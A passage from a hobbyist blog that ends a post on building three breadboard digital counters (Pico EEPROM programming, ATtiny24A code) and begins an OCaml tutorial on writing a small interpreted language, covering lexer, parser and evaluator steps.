        gpio_put(pin, false);
    }

    // ...
}

During initialization, we set everything to output and turn everything off. In the case of the WRITE ENABLE and OUTPUT ENABLE pins, this means a high state. After this, we can continue the main function by writing the data.

printf("write\n");
for (int i = 0; i < 1000; ++i)
{
    for (int j = 0; j < 10; ++j)
    {
        gpio_put(address[j], (i & static_cast<int>(pow(2, j))) > 0);
    }

    for (int j = 0; j < 3; ++j)
    {
        gpio_put(address[10], false);
        gpio_put(address[11], false);
        gpio_put(address[12], false);
        gpio_put(address[10 + j], true);

        const int digit = i / static_cast<int>(pow(10, j)) % 10;

        for (int k = 0; k < 8; ++k)
        {
            gpio_put(io[k], numbers[digit][k]);
        }

        sleep_ms(5);
        gpio_put(WE, false);
        sleep_ms(5);
        gpio_put(WE, true);
        sleep_ms(5);
    }
    if (i % 10 == 0)
    {
        printf(".");
    }
}
printf("\ndone.\n");

The first 10 bits of the address are the number we want to display. The last 3 bits indicate the currently active digit. The stored value will be the 7-segment representation of the digit at that place value. For this, we divide the original number by one/ten/one hundred and look at the remainder produced by division by ten.

After setting the values of the address and I/O pins, we turn the WRITE ENABLE pin on and then off again, then move on to the next digit and then the next number.

After programming the EEPROM, all that remains is to connect everything together.

           ╔═════╗ ╔═════════╗
           ║ 555 ╟─╢ CD4017B ╟─┐
           ╚═════╝ ╚═════════╝ │ ╔══════════╗ ╔═════════╗
                               ├─╢ AT28C64B ╟─╢ BA56-12 ║
╔════════╗ ╔═════╗ ╔═════════╗ │ ╚══════════╝ ╚═════════╝
║ Button ╟─╢ 555 ╟─╢ CD4040B ╟─┘
╚════════╝ ╚═════╝ ╚═════════╝

This version did end up half the size of the previous one, but it has its flaws. The counter chip has a 12-bit output, of which we only use 10 bits. With 10 bits, we can count from 0 to 1023, but only three digits are visible on the display. So the dear user will experience that after 999 it counts up to 23, then back up to 999, then up to 23 again, and so on.

In addition, the CD4017B probably cannot supply enough current to properly drive the LEDs, which is why the display is so dim.

Probably neither problem is unsolvable, but they mean extra components, which further increase the size. But what if we want something smaller?

Software solutions

My last idea was the one I had rejected first: a microcontroller. Although a Raspberry Pi Pico would be overkill for such a small task, we can look for something that fits better.

What we need: 7 outputs for the segments, 3 outputs for digit selection, and two inputs for the buttons. The ATtiny24A seems just right. Out of 12 pins, we can use 11 for our own purposes, and the last pin is fixed as RESET, which is just fine, because that's exactly what we need.

       ┌───┬──┬───┐
   VDD ┤ • └──┘   ├ VSS
   PB0 ┤          ├ PA0
   PB1 ┤          ├ PA1
RESET' ┤ ATtiny24 ├ PA2
   PB2 ┤          ├ PA3
   PA7 ┤          ├ PA4
   PA6 ┤          ├ PA5
       └──────────┘

The circuit could hardly be any simpler than this: just the ATtiny24A, two buttons, and the LED display (again, a common anode BA56-12, though in this case we could have used either version; only the segment values would change in the code).

Unfortunately, there wasn't a suitable component for the display, so there's just an empty space where it should be

The reason for the simplicity is that we have to solve everything with software. For this, we have to program the ATtiny. I tried to use a Raspberry Pi for this, but it didn't work for some reason, so in the end I went with an Arduino UNO.

Getting a program onto the ATtiny is not the simplest thing. I won't go into the details, but here is a write-up for it. Let's jump to the programming instead.

const byte digits[3] PROGMEM = {0, 3, 4};
const byte segments[7] PROGMEM = {1, 5, 7, 9, 10, 2, 6};

const byte numbers[10][7] PROGMEM = {
  {0, 0, 0, 0, 0, 0, 1},
  {1, 0, 0, 1, 1, 1, 1},
  {0, 0, 1, 0, 0, 1, 0},
  {0, 0, 0, 0, 1, 1, 0},
  {1, 0, 0, 1, 1, 0, 0},
  {0, 1, 0, 0, 1, 0, 0},
  {0, 1, 0, 0, 0, 0, 0},
  {0, 0, 0, 1, 1, 1, 1},
  {0, 0, 0, 0, 0, 0, 0},
  {0, 0, 0, 0, 1, 0, 0},
};

const byte buttonPin = 8;

The program itself once again begins with a little initialization. We specify the digit and segment pins, as well as the previously used mapping between digits and segments. We store larger variables in program memory (PROGMEM) so that it doesn't take up space in runtime memory. In exchange, it will be a little harder to access them.

void setup() {
  for (byte i = 0; i < 3; ++i) {
    pinMode(pgm_read_byte(&digits[i]), OUTPUT);
    digitalWrite(pgm_read_byte(&digits[i]), LOW);
  }
  for (byte i = 0; i < 7; ++i) {
    pinMode(pgm_read_byte(&segments[i]), OUTPUT);
    digitalWrite(pgm_read_byte(&segments[i]), HIGH);
  }

  pinMode(buttonPin, INPUT);
  attachInterrupt(digitalPinToInterrupt(buttonPin), increment, RISING);  
}

We turn off the digit selectors and the segments, and put an interrupt on the button pin. pgm_read_byte is the previously mentioned, more difficult way of accessing data stored in program memory.

volatile byte d0 = 0;
volatile byte d1 = 0;
volatile byte d2 = 0;

volatile bool pressed = false;
volatile unsigned long pressTime;

void increment() {
  if (!pressed) {
    pressed = true;
    pressTime = millis();

    d2 += 1;
    if (d2 > 9) {
      d2 = 0;
      d1 += 1;
      if (d1 > 9) {
        d1 = 0;
        d0 += 1;
        if (d0 > 9) {
          d0 = 0;
        }
      }
    }
  }
}

The interrupt stores the time of the press and increments the digits if the button was not already pressed. This will be the basis of our simple bounce protection.

Storing the digits separately and incrementing them one by one can hardly be called elegant, but we can save a few divisions and remainder calculations in the main loop this way.

void loop() {
  if (pressed) {
    noInterrupts();
    unsigned long t = pressTime;
    interrupts();
    if (millis() - t > 150) {
      pressed = false;
    }
  }

  for (byte i = 0; i < 7; ++i) {
    digitalWrite(pgm_read_byte(&segments[i]), pgm_read_byte(&numbers[d0][i]));
  }
  digitalWrite(pgm_read_byte(&digits[0]), HIGH);
  delay(5);
  digitalWrite(pgm_read_byte(&digits[0]), LOW);

  for (byte i = 0; i < 7; ++i) {
    digitalWrite(pgm_read_byte(&segments[i]), pgm_read_byte(&numbers[d1][i]));
  }
  digitalWrite(pgm_read_byte(&digits[1]), HIGH);
  delay(5);
  digitalWrite(pgm_read_byte(&digits[1]), LOW);

  for (byte i = 0; i < 7; ++i) {
    digitalWrite(pgm_read_byte(&segments[i]), pgm_read_byte(&numbers[d2][i]));
  }
  digitalWrite(pgm_read_byte(&digits[2]), HIGH);
  delay(5);
  digitalWrite(pgm_read_byte(&digits[2]), LOW);
}

In the main part of our program, we handle the pressed button: if enough time has passed since the button was pressed (in our case, 150 milliseconds), then we allow the button to be pressed again. It is not a perfect solution (what about a case where someone holds the button down for a longer time, and the release causes bouncing?), but here and now, it is more than enough.

Besides this, we also handle the LED display here. There is perhaps nothing surprising in this part. Based on the mapping in the numbers array, we set the appropriate output on the segment pins for each digit. The digits are only turned on for a short time, and the currently displayed digit changes rapidly, so that it looks as if all three digits were visible at the same time.

The delay may be a bit high; it might be worth tweaking it a little more. In the picture below, you can see that the digits do not have uniform brightness; the refresh rate was probably still too low.

We managed to halve the size of our counter circuit again, and I think this is the smallest size we can achieve on a breadboard.

Although the goal was not a digital handheld counter of usable size, it's still not a bad thing that by the end, we managed to put together something that (with proper packaging) could even be a usable device.

Final settlement

Three and a half breadboards, sixteen ICs, hundreds of wires cut to size, about half a dozen evenings spent tinkering, one burn injury (from overheating caused by a short circuit), and the end result: three digital counters.

• a giant-sized solution using purpose-built chips, where the biggest challenge was all the wires
• a pre-programmed EEPROM version with its own eccentric behavior
• a microcontroller-driven one, where the limited hardware tends to play tricks on careless programmers

Although the solutions decreased in size, the complexity that was present in the first version and plainly visible to the eye did not disappear along the way. It merely migrated into memory and then into the program code.

Recurrence

A press of a button shook Bredbord's delicate balance. The noise born from the bounce reached 555. The energy coursing through the monostable timer opened the path toward charging. Spikes of noise kept biting into him, but 555 held the signal until the rising potential reached such a level that he had no choice but to release it in a discharge. He watched proudly as it departed, merging with the unknown. In spirit, however, he was already preparing for the next assault.

CD4026B awaited the relentless ticking of the approaching clock signal with quiet inevitability. Racing through latches and gates, it changed his inner state. The counter's nine turned over into zero. He returned to where he had begun, to another beginning in the infinite cycle. Although the overflow sent the signal into oblivion, Bredbord had already been tipped out of balance. With that single act, CD4026B had set unstoppable forces into motion. Forces that reached far beyond his own existence.

Split into seven fragments, the change spread onward through the segment pins toward the LEDs of BC56-12. Some fell into the blind void, drifting into a long sleep. Others awakened to a new life, radiant with the excitement of potential. The pattern they formed blazed forth like a divine revelation: once again, balance had been restored. If only for the time being.

Have you ever woken up in the morning feeling like writing a programming language? No? That's... pretty strange. But we're not here to discuss where things went sideways in our lives. Let's just write a programming language instead.

Writing a programming language is a great way to satisfy our latent god complex. We get to create a world with our own rules. Don't like it when someone puts the curly brace on a new line after an if? Throw a syntax error at them! Camel case function names make your skin crawl? Ban them! For some bizarre reason, you want every variable to start with a $? Now's the perfect chance!

A project of this scale usually begins with a ton of upfront planning: from deciding what problem the new language is meant to solve to tiny details like how variable scope works or whether there should be a dedicated operator for string concatenation. We're going to skip all of that and dive straight into the middle of it... or some part of it. Hard to say, since we didn't do the planning.

Table of contents

0. First steps
1. The lexical analyzer
2. Operators
3. Precedence
4. The syntactic analyzer
5. Statements
6. The evaluator
7. Parentheses
8. Numerous options
9. Variables
10. Control flow
11. 'Tis the end

First steps

In the beginning was the plain text. Characters give birth to tokens, from which we grow a syntax tree. The tree is a flexible structure, you can make all sorts of things out of it, like a native binary or bytecode for a virtual machine. But you can also just execute it directly.

To get started, we'll need a programming language, since our own is not in a state yet where it could be written in itself. I chose OCaml because I enjoy tormenting myself with things I barely understand. And I mean that quite literally. At the start of the project, I had zero knowledge of OCaml, and about as much familiarity with functional languages as you can pick up from imperative languages.

For the first milestone, I'd like to convert boolean values into tokens, since they consist only of true and false. Right away, we have to make some decisions. Should these values be separate tokens (TTrue and TFalse), or should there be a single TBool token that can take on true or false? I don't think it's such a big decision. I went with the latter.

type token =
  | TBool of bool
  | TEOF

let show_token token =
  match token with
  | TBool b -> Printf.sprintf "TBool(%B)" b
  | TEOF    -> "TEOF"

OCaml's syntax might feel a bit strange. I'm looking at type as if it's a smarter enum, and match is just a smarter switch.

The token type will hold all of our tokens, and show_token is just a helper function we'll use during development to print things to the screen while our own language doesn't have that capability yet. We also added an end-of-file token, which is meant to signal the end of the program.

The lexical analyzer

Also known as lexer. The fancy name hides a simple mechanism. It reads the plain text one character at a time and builds tokens from it. For this, it helps to know where we are at any given moment, so we define a struct-like construct (I think OCaml calls it a record) so we can store the data we need:

exception LexError of string

type lexer_state = {
  src : string;
  len : int;
  mutable pos : int;
  mutable line : int;
  mutable col : int;
}

From the perspective of the analyzer, pos is what matters to us. line and col are only there so we can generate more user-friendly error messages.

We'll also define a few helper functions to make our lives easier:

let make_lexer src = {
  src;
  len = String.length src;
  pos = 0;
  line = 1;
  col = 1;
}

let step ls =
  ls.pos <- ls.pos + 1;
  ls.col <- ls.col + 1

let step_line ls =
  ls.pos <- ls.pos + 1;
  ls.line <- ls.line + 1;
  ls.col <- 1

let current_char ls = ls.src.[ls.pos]

make_lexer produces an initial state. step is a simple step forward within the same line, while step_line is also moving to a new line. current_char returns the character we're currently looking at.

Thanks to the nature of the language, we'll solve most of our problems with pattern matching and recursion.

let tokenize src = 
  let ls = make_lexer src in

  let rec loop tokens =
    if ls.pos < ls.len then
      match current_char ls with
      | '\n' ->
        step_line ls;
        loop tokens
      | ' ' | '\t' | '\r' ->
        step ls;
        loop tokens
      | 'a'..'z' ->
        loop (tokenize_name ls :: tokens)
      | c ->
        raise (LexError (Printf.sprintf "Unexpected character '%c' on line %d col %d" c ls.line ls.col))
    else
      TEOF :: tokens
  in

  List.rev (loop [])

We create an instance of our struct (ls) and a recursive function (loop), which we then call with an empty list. The recursion continues until we reach the end of the source code. At that point, it prepends a TEOF token to the list. For some reason, this language really likes adding things to the front of lists, which is why we have to reverse the list at the end with List.rev.

If we haven't reached the end of the file yet, we examine the current character. For whitespace characters, we simply step forward without adding anything to the list. If we encounter alphabetic data, we interpret it with another function and append it to the tokens; otherwise, we throw an error for an unknown character (where we can use our line and col values).

let tokenize_name ls =
  let is_name_char ch = ch >= 'a' && ch <= 'z' in

  let start_col = ls.col in
  let start = ls.pos in

  while ls.pos < ls.len && is_name_char (current_char ls) do
    step ls
  done;

  let name = String.sub ls.src start (ls.pos - start) in
  match name with
  | "true"  -> TBool true
  | "false" -> TBool false
  | _       -> raise (LexError (Printf.sprintf "Unexpected name '%s' on line %d col %d" name ls.line start_col))

For names, we keep stepping forward as long as we see valid characters (for which we define a small helper function, is_name_char). After that, based on the positions we've gathered, we extract the name from the source and try to interpret it. Our humble little language understands nothing except true and false for now.

All that's left is a "main" function to try out our excellent lexical analyzer:

let () =
  let src = {|true false
true
true false

false|} in
  try
    let tokens = tokenize src in
    print_endline (String.concat "; " (List.map show_token tokens))
  with LexError e -> print_endline ("Fatal error: " ^ e)

We tokenize the source code and print the resulting tokens using the previously defined show_token function. The result will look something like this:

$ ocaml main.ml
TBool(true); TBool(false); TBool(true); TBool(true); TBool(false); TBool(false); TEOF

Of course, it might happen that we forget what tokens our language understands...

true false
false true true
true oops false
true
false
true
false

...and we get an ugly error:

$ ocaml main.ml
Fatal error: Unexpected name 'oops' on line 3 col 6

The full source of this step can be found here.

Although we now have tokens, having values alone isn't quite complex enough to grow a syntax tree. So we'll need something that actually makes use of these values.

Operators

To get started, we could define a few operators. We could go with the usual C-style trio of !, &&, ||, or opt for the slightly more Python-esque not, and, or. It doesn't change the end result, it just makes the lexical analyzer a bit different. I went with the latter.

First, we'll need some new token types:

type token =
  | TBool of bool
  | TBoolAnd
  | TBoolOr
  | TBoolNot
  | TEOF

Which, unfortunately, means we also have to update our show_token function with new match branches:

let show_token token =
  match token with
  | TBool b  -> Printf.sprintf "TBool(%B)" b
  | TBoolAnd -> "TBoolAnd"
  | TBoolOr  -> "TBoolOr"
  | TBoolNot -> "TBoolNot"
  | TEOF     -> "TEOF"

Then we handle the new names in the tokenize_name function:

match name with
| "true"  -> TBool true
| "false" -> TBool false
| "and"   -> TBoolAnd
| "or"    -> TBoolOr
| "not"   -> TBoolNot
| _       -> raise (LexError (Printf.sprintf "Unexpected name '%s' on line %d col %d" name ls.line start_col))

If we run our program with the source code not true or false and true, we'll now get the following output:

$ ocaml main.ml
TBoolNot; TBool(true); TBoolOr; TBool(false); TBoolAnd; TBool(true); TEOF

The changes in this step can be found here.

Now we have boolean values and operators that actually do something with them, so we finally have all we need to build our tree.

Precedence

Before we dive into the actual parsing, it's worth noting a few words about operator precedence, since it largely dictates how the parser will work and how it's structured.

In general, unary operators take precedence over binary ones (we interpret the expression not false and true as (not false) and true, even though we don't have parentheses yet).

It can also happen that two operators share the same precedence level (like - and +). In those cases, evaluation can work in several ways:

• we simply don't allow it (for example, we might not want something like 1 < 2 < 3 in our language, only 1 < 2 and 2 < 3)
• we evaluate it from left to right (1 + 2 - 3 becomes (1 + 2) - 3)
• we evaluate it from right to left (1 + 2 - 3 becomes 1 + (2 - 3))

It's worth taking a look at how "finished" programming languages (like C++) document their operator precedence rules.

The syntactic analyzer

The syntactic analyzer (parser) takes the list of tokens and tries to interpret them according to its own rules, building a syntax tree in the process. Given the tokens our language currently supports, the nodes of this tree can be the following:

type expr =
  | EBool of bool
  | EBoolNot of expr
  | EBoolAnd of expr * expr
  | EBoolOr of expr * expr

EBool is similar to TBool, but the others have a bit more interesting. They can take parameters of type expr, which makes the type itself recursive. For example, we can write something like EBoolOr(EBoolNot(EBool(true)), EBool(false)). The * here doesn't mean multiplication, it's just a separator between parameters.

The above expression as a tree

We'll also have a helper function here as well to print the constructed expression:

let rec show_expr e =
  match e with
  | EBool b -> Printf.sprintf "EBool(%B)" b
  | EBoolNot e' -> Printf.sprintf "EBoolNot(%s)" (show_expr e')
  | EBoolAnd (l, r) -> Printf.sprintf "EBoolAnd(%s, %s)" (show_expr l) (show_expr r)
  | EBoolOr (l, r) -> Printf.sprintf "EBoolOr(%s, %s)" (show_expr l) (show_expr r)

Since the type is recursive, we need to call show_expr again on parameters of type expr. The usual pattern matching and recursion. The e' in the EBoolNot line isn't anything special, the apostrophe is simply part of the variable name.

Similar to the lexical analyzer, the parser will also have an internal state and a few helper functions.

exception ParseError of string

type parser_state = {
  mutable tokens : token list;
}

let make_parser tokens = { tokens }

let peek ps =
  match ps.tokens with
  | t :: _ -> t
  | [] -> TEOF

let consume ps =
  match ps.tokens with
  | t :: rest -> ps.tokens <- rest; t
  | [] -> TEOF

For now, parser_state only contains our tokens. By the time we get here, we've lost track of line and column information, so we have to give up on user-friendly error messages from now on.

peek returns the next token without removing it from the list. You can see how smart match can be here: the t :: _ structure might look familiar from tokenize as the operator for prepending to a list, but in this context, match makes the value of t to the first element of the list, and we simply don't care about the rest (_).

consume also returns the next token, but removes it from the list (the remainder becomes the new value of ps.tokens).

Now we can move on to the actual parsing. The operator precedence we want to achieve is:

1. literal values (parse_primary)
2. the boolean not operator (parse_bool_unary)
3. the boolean and and or operators (parse_bool_expr)

We'll start by parsing expressions... since we only have expressions. And only a boolean type, so in the end, we'll only be dealing with boolean expressions. In the code, we move from weaker operators down to stronger ones.

let rec parse_expr ps =
  parse_bool_expr ps

and parse_bool_expr ps =
  let rec loop left =
    match peek ps with
    | TBoolAnd ->
      ignore (consume ps);
      let right = parse_bool_unary ps in
      loop (EBoolAnd (left, right))
    | TBoolOr ->
      ignore (consume ps);
      let right = parse_bool_unary ps in
      loop (EBoolOr (left, right))
    | _ -> left
  in
  loop (parse_bool_unary ps)

parse_expr doesn't do much, it just felt wrong to start expression parsing with something as specific as parse_bool_expr.

The mutually recursive functions are chained together with and. Here we reuse the recursive loop pattern from tokenize, which receives the left operand of a binary operator from a lower level. If it finds an and or or, it builds the corresponding tree node and then recursively looks for more of them. If it doesn't, it returns what it has collected so far (or the original left operand).

It's worth noting that traditionally, among boolean operators, and has higher precedence than or. In our current implementation, however, they are on the same level and evaluated left to right.

Since we are the creators of this world, we can treat this either as intended behavior or as a bug. If you go with the latter, fixing it is a great exercise: you'd need to split parse_bool_expr into two levels: parse_bool_or_expr, which calls parse_bool_and_expr, which calls parse_bool_unary.

The next level is the unary operator (not):

and parse_bool_unary ps =
  match peek ps with
  | TBoolNot ->
    ignore (consume ps);
    EBoolNot (parse_bool_unary ps)
  | _ -> parse_primary ps

If we find a not token, we return the corresponding tree node (whose value can itself be another not or a simple value). Otherwise, we try to parse a simple value.

That leaves us with handling the simple values:

and parse_primary ps =
  match peek ps with
  | TBool b ->
    ignore (consume ps);
    EBool b
  | t -> raise (ParseError (Printf.sprintf "Unexpected token '%s'" (show_token t)))

If the next token is true or false, we extend the tree with an EBool node; otherwise, we throw an error because we didn't expect that token.

Finally, the function that ties everything together:

let parse_program tokens =
  let ps = make_parser tokens in
  let expr = parse_expr ps in
  let t = peek ps in
  if t <> TEOF then
    raise (ParseError (Printf.sprintf "Unexpected token '%s'" (show_token t)));
  expr

Since our language currently consists of a single expression, if there are tokens left after parsing the expression other than TEOF then something went wrong.

In our new "main" function, we build the tree and print it:

let () =
  let src = {|not true or false and true|} in
  try
    let tokens = tokenize src in
    print_endline (String.concat "; " (List.map show_token tokens));
    let ast = parse_program tokens in
    print_endline (show_expr ast)
  with
  | LexError e -> print_endline ("Fatal error: " ^ e)
  | ParseError e -> print_endline ("Parse error: " ^ e)

And the output looks something like this:

$ ocaml main.ml
TBoolNot; TBool(true); TBoolOr; TBool(false); TBoolAnd; TBool(true); TEOF
EBoolAnd(EBoolOr(EBoolNot(EBool(true)), EBool(false)), EBool(true))

All that recursion can shake one's world quite a bit, so it's worth taking a moment to think through how the tree is actually built.

1. parse_bool_expr calls parse_bool_unary, which finds a TBoolNot token and returns an EBoolNot node, whose value is computed by calling itself again
2. the next TBool token doesn't have a match in parse_bool_unary, so it flows down to parse_primary, where it becomes an EBool, and we jump back to parse_bool_expr
3. in parse_bool_expr, we enter the loop, which finds a TBoolOr token and turns it into an EBoolOr node; its left operand is the previously obtained EBoolNot(EBool(true)), and to compute the right operand, it calls parse_bool_unary
4. parse_bool_unary doesn't see a unary operator, so it calls parse_primary, which returns an EBool, and we jump back into the loop
5. our EBoolOr node is complete, and using it as the left operand, we call loop again
6. the loop finds a TBoolAnd token, which becomes an EBoolAnd, and it looks for a right operand via parse_bool_unary
7. parse_bool_unary doesn't see a unary operator, so it calls parse_primary, which returns an EBool, and we jump back into the loop
8. the next token is TEOF, which matches nothing, so we exit both the loop and parse_bool_expr
9. parse_program sees TEOF, and that fills it with joy

Of course, there are cases where parse_program is not quite so joyful. For example, let's try false not and true:

$ ocaml main.ml
TBool(false); TBoolNot; TBoolAnd; TBool(true); TEOF
Parse error: Unexpected token 'TBoolNot'

The changes in this step can be found here.

At this point, our program consists of a single expression. We could evaluate it, but nothing actually makes use of the result. What we need next is a statement.

Statements

My first thought was that it would be nice if our program could actually produce some output. With that in mind, print seems like a solid choice for our first statement.

Once again, we get to make a bunch of decisions about syntax. I went with separating statements by newlines, without introducing a dedicated character for it (like the classic ;). The statement itself will look like a function call: print(expression).

First, we'll need a few new tokens:

type token =
  (* ... *)
  | TLeftParen
  | TRightParen
  | TNewLine
  | TIdentifier of string
  (* ... *)

From here on, the newline itself becomes a token, since it carries meaning in the language. TIdentifier will be a general identifier, which we'll use for print. The (* and *) mark comments in OCaml, so they're just standing in for previously defined parts to avoid repeating everything.

Naturally, we also need to update show_token with the new arrivals:

let show_token token =
  match token with
  (* ... *)
  | TLeftParen -> "TLeftParen"
  | TRightParen -> "TRightParen"
  | TNewLine -> "TNewLine"
  | TIdentifier s -> Printf.sprintf "TIdentifier(%s)" s
  (* ... *)

So far, nothing too surprising. The tokenize_name part of our lexical analyzer gets a bit simpler, since from now on we accept all alphabetic identifiers at the lexical level:

let tokenize_name ls =
  (* ... *)
  match name with
  | "true"  -> TBool true
  | "false" -> TBool false
  | "and"   -> TBoolAnd
  | "or"    -> TBoolOr
  | "not"   -> TBoolNot
  | _       -> TIdentifier name

Unknown identifiers will now throw errors during parsing instead.

We also need to tweak the pattern matching in tokenize a bit to support the new language elements:

match current_char ls with
| ' ' | '\t' | '\r' ->
  step ls;
  loop tokens
| '\n' ->
  step_line ls;
  loop (TNewLine :: tokens)
| '(' ->
  step ls;
  loop (TLeftParen :: tokens)
| ')' ->
  step ls;
  loop (TRightParen :: tokens)
| 'a'..'z' ->
  loop (tokenize_name ls :: tokens)
| c ->
  raise (LexError (Printf.sprintf "Unexpected character '%c' on line %d col %d" c ls.line ls.col))

For newline characters, we no longer just step forward, we also emit a token. We also handle opening and closing parentheses.

The syntax tree gets a new type for statements, with print as its first member:

type stmt =
  | SPrint of expr

For easier debugging, it's worth adding a corresponding show_stmt function as well:

let show_stmt s =
  match s with
  | SPrint e -> Printf.sprintf "SPrint(%s)" (show_expr e)

For parsing, we'll need two new helper functions:

let expect ps tok =
  let t = consume ps in
  if t <> tok then
    raise (ParseError (Printf.sprintf "Unexpected token '%s', expected '%s'" (show_token t) (show_token tok)))

let skip_newlines ps =
  while peek ps = TNewLine do ignore (consume ps) done

expect throws an error if the next token isn't what we expect. With skip_newlines, we can ignore empty lines.

The good news is that we don't need to touch our parse_expr recursion chain at all. Instead, we start a new one:

let rec parse_stmts ps =
  let rec loop stmts =
    skip_newlines ps;
    match peek ps with
    | TEOF -> ignore (consume ps); stmts
    | _ -> loop (parse_stmt ps :: stmts)
  in

  List.rev (loop [])

The recursive structure might look familiar from tokenize: we ignore empty lines, exit recursion at the end of the file, otherwise process the next statement, and prepend it to the list. And at the end, we have to reverse the list here as well.

and parse_stmt ps =
  match peek ps with
  | TIdentifier "print" ->
    ignore (consume ps);
    expect ps TLeftParen;
    let expr = parse_expr ps in
    expect ps TRightParen;
    SPrint(expr)
  | t -> raise (ParseError (Printf.sprintf "Unexpected token '%s'" (show_token t)))

Here's the corresponding parse_stmt, which handles the print identifier. After the identifier, we expect an opening parenthesis, followed by an expression, and then a closing parenthesis. We don't support any other statements yet, so everything else results in an error (this is the new home of the exception we removed from tokenize_name).

After this, parse_program needs a bit of simplification:

let parse_program tokens =
  let ps = make_parser tokens in
  parse_stmts ps

And our "main" function changes slightly as well:

let () =
  let src = {|print(false or true)

print(false)|} in
  try
    let tokens = tokenize src in
    print_endline (String.concat "; " (List.map show_token tokens));
    let stmts = parse_program tokens in
    print_endline (String.concat "\n" (List.map show_stmt stmts));
  with
  | LexError e -> print_endline ("Fatal error: " ^ e)
  | ParseError e -> print_endline ("Parse error: " ^ e)

As output, we should now see something like this:

$ ocaml main.ml
TIdentifier(print); TLeftParen; TBool(false); TBoolOr; TBool(true); TRightParen; TNewLine; TNewLine; TIdentifier(print); TLeftParen; TBool(false); TRightParen; TEOF
SPrint(EBoolOr(EBool(false), EBool(true)))
SPrint(EBool(false))

The changes in this step can be found here.

At this point, we no longer have just a single syntax tree, we have one per line. In a larger program, we're effectively growing an entire syntax forest.

We've now reached a stage where there's something meaningful to evaluate. If we were to run this program, it would produce visible results. So let's start evaluating.

The evaluator

The evaluator walks through the syntax trees, statement by statement, and executes them.

Surprisingly enough, this step also starts with defining a new type and writing its corresponding show_ function:

type value =
  | VBool of bool

let show_value v =
  match v with
  | VBool b -> Printf.sprintf "%B" b

Next up: evaluating expressions.

let rec eval expr =
  match expr with
  | EBool b -> VBool b
  | EBoolNot e ->
    (match eval e with
    | VBool b -> VBool (not b))
  | EBoolAnd (l, r) ->
    (match eval l, eval r with
    | VBool a, VBool b -> VBool (a && b))
  | EBoolOr (l, r) ->
    (match eval l, eval r with
    | VBool a, VBool b -> VBool (a || b))

It should come as no surprise that we're once again relying on pattern matching and recursion. Since we don't have anything beyond booleans yet, the pattern matching inside eval might look a bit odd, but it will come in handy later.

let exec stmt =
  match stmt with
  | SPrint e ->
    print_endline (show_value (eval e))

Inside exec, print_endline is a built-in function, and show_value finally graduates from a mere debugging tool to something we actually use during evaluation.

All that's left is to tweak the "main" function so it executes the statements:

let () =
  let src = {|print(false or not true)

print(not false and true)|} in
  try
    let tokens = tokenize src in
    let stmts = parse_program tokens in
    List.iter exec stmts
  with
  | LexError e -> print_endline ("Fatal error: " ^ e)
  | ParseError e -> print_endline ("Parse error: " ^ e)

And the output should (hopefully) be exactly what we expect:

$ ocaml main.ml
false
true

The changes in this step can be found here.

At this point, we essentially have a complete program that can evaluate boolean expressions and print their results. Still, it would be a shame to stop here.

Parentheses

Right now, if we try to run print(not (false or not true)), we get the following error:

$ ocaml main.ml
Parse error: Unexpected token 'TLeftParen'

Unfortunately, the language's error handling doesn't help us understand exactly where the problem comes from, but we can reasonably suspect the parse_primary function. So if we want to support arbitrary parenthesized expressions, we can introduce a new function into the expression parsing chain:

1. literal values (parse_primary)
2. parentheses (parse_bracketing)
3. boolean not operator (parse_bool_unary)
4. boolean and and or operators (parse_bool_expr)

and parse_bracketing ps =
  match peek ps with
  | TLeftParen ->
    ignore (consume ps);
    let expr = parse_expr ps in
    expect ps TRightParen;
    expr
  | _ -> parse_primary ps

We don't strictly need a new function here. We could just add another branch to the parse_primary pattern matching, but this feels like a cleaner way to express operator precedence.

After this change, we'll get the correct output:

$ ocaml main.ml
true

The changes in this step can be found here.

It's honestly kind of impressive that we implemented full parenthesized expressions with less than ten lines of code. Time to take on something with a bit more structural ambition.

Numerous options

We now have a working pipeline that can interpret and execute raw text. Adding something like numbers is no longer particularly surprising from a code perspective. All layers need to be touched, but the changes are straightforward, even if they are relatively large. First, the tokens:

type token =
  (* ... *)
  | TNumber of float
  | TLt
  | TLtEq
  | TGt
  | TGtEq
  | TEq
  | TNotEq
  | TPlus
  | TMinus
  | TAsterisk
  | TSlash
  | TPercent
  (* ... *)

Quite a lot of new tokens: we're implementing comparison operators <, <=, >, >=, ==, <>, as well as arithmetic operators +, -, *, /, %. Naturally, the show_token function also needs to be extended, but I'll leave that to the reader's imagination based on the previous expansions.

The lexer's pattern matching in the tokenize function is extended with the following:

match current_char ls with
(* ... *)
| '+' -> step ls; loop (TPlus :: tokens)
| '-' -> step ls; loop (TMinus :: tokens)
| '*' -> step ls; loop (TAsterisk :: tokens)
| '/' -> step ls; loop (TSlash :: tokens)
| '%' -> step ls; loop (TPercent :: tokens)
| '<' ->
  step ls;
  (match current_char ls with
  | '=' -> step ls; loop (TLtEq :: tokens)
  | '>' -> step ls; loop (TNotEq :: tokens)
  | _   -> loop (TLt :: tokens))
| '>' ->
  step ls;
  (match current_char ls with
  | '=' -> step ls; loop (TGtEq :: tokens)
  | _   -> loop (TGt :: tokens))
| '=' ->
  step ls;
  (match current_char ls with
  | '=' -> step ls; loop (TEq :: tokens)
  | c   -> raise (LexError (Printf.sprintf "Unexpected character '%c' on line %d col %d" c ls.line ls.col)))
| '0' .. '9' ->
  loop (tokenize_number ls :: tokens)
(* ... *)

A new thing here is that some operators require looking at two characters at once. Also, we don't yet have a standalone = operator, so we treat that as an error for now.

This also introduces a subtle bug: after step ls, the subsequent current_char call does not check whether we've reached the end of the source code. As a result, we might get an unexpected OCaml exception (Invalid_argument "index out of bounds".) on otherwise invalid input like print(1 <.

The tokenize_number function looks almost identical to the earlier tokenize_name, except it deals with digits instead:

let tokenize_number ls =
  let is_number_char ch = ch >= '0' && ch <= '9' || ch == '.' in
  let start = ls.pos in

  while ls.pos < ls.len && is_number_char (current_char ls) do
    step ls
  done;

  TNumber (float_of_string (String.sub ls.src start (ls.pos - start)))

The syntax tree also expands with new node types for the operators we've introduced:

type expr =
  (* ... *)
  | ENumber of float
  | EGt of expr * expr
  | EGtEq of expr * expr
  | ELt of expr * expr
  | ELtEq of expr * expr
  | EEq of expr * expr
  | ENotEq of expr * expr
  | EAdd of expr * expr
  | ESub of expr * expr
  | EMul of expr * expr
  | EDiv of expr * expr
  | EMod of expr * expr
  (* ... *)

We return to the parser, where the question of operator precedence inevitably comes up again. The new operators fit into our current system like this:

1. literal values (parse_primary)
2. parentheses (parse_bracketing)
3. multiplication and division (parse_mul_div)
4. addition and subtraction (parse_add_sub)
5. comparison operators (parse_comparison)
6. boolean not operator (parse_bool_unary)
